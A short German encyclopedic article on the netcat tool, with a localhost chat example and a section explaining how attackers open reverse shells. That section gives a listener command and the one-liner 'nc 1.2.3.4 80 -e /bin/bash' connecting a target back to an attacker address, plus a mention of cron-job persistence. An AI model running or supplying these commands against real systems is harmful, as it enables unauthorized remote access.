Netcat

Netcat ist ein Kommandozeilenprogramm, mit welchem man direkt in Netzwerkverbindungen rein schreiben und daraus lesen kann. Es werden die Protokolle UDP und TCP unterstützt.

Beispiele

Chatprogramm

Netcat wartet auf eine eingehende Verbindung auf Port 1299:

nc -l -p 1299

Netcat öffnet eine TCP Verbindung nach localhost auf Port 1299:

nc localhost 1299

Mit den oben genannten Beispielen ist es nach aufgebauter Verbindung möglich, Nachrichten auszutauschen und zu chatten.

Reverse Shell

Netcat wird von Kriminellen gerne dazu verwendet, über fremde Rechner sogenannte Reverse-Shells zu öffnen. Hier startet der Angreifer zuerst einen TCP Listener auf seinem lokalen Gerät über einen beliebigen Port (Das Ziel System muss jedoch über diesen Port nach aussen kommunizieren können, da hat man vielleicht mit einem Standardport wie HTTP, DNS oder NTP eine grössere Chance).

Netcat hört auf Port 80

nc -lvp 80

Der Angreifer versucht nun auf dem Zielsystem z.B. über eine Webseite via SQL-Injection einen Befehl im Dateisystem abzusetzen um sich Shell Zugang zu verschaffen.

Netcat verbindet sich zum Angreifer auf den geöffneten Port und öffnet ihm eine Bash-Shell

nc 1.2.3.4 80 -e /bin/bash

Danach kann sich der Angreifer seinen Zugang "Ausfallsicher" machen, indem er zum Beispiel Cron-jobs einrichtet, welche gegebenenfalls die TCP Verbindung wieder neu aufbauen können.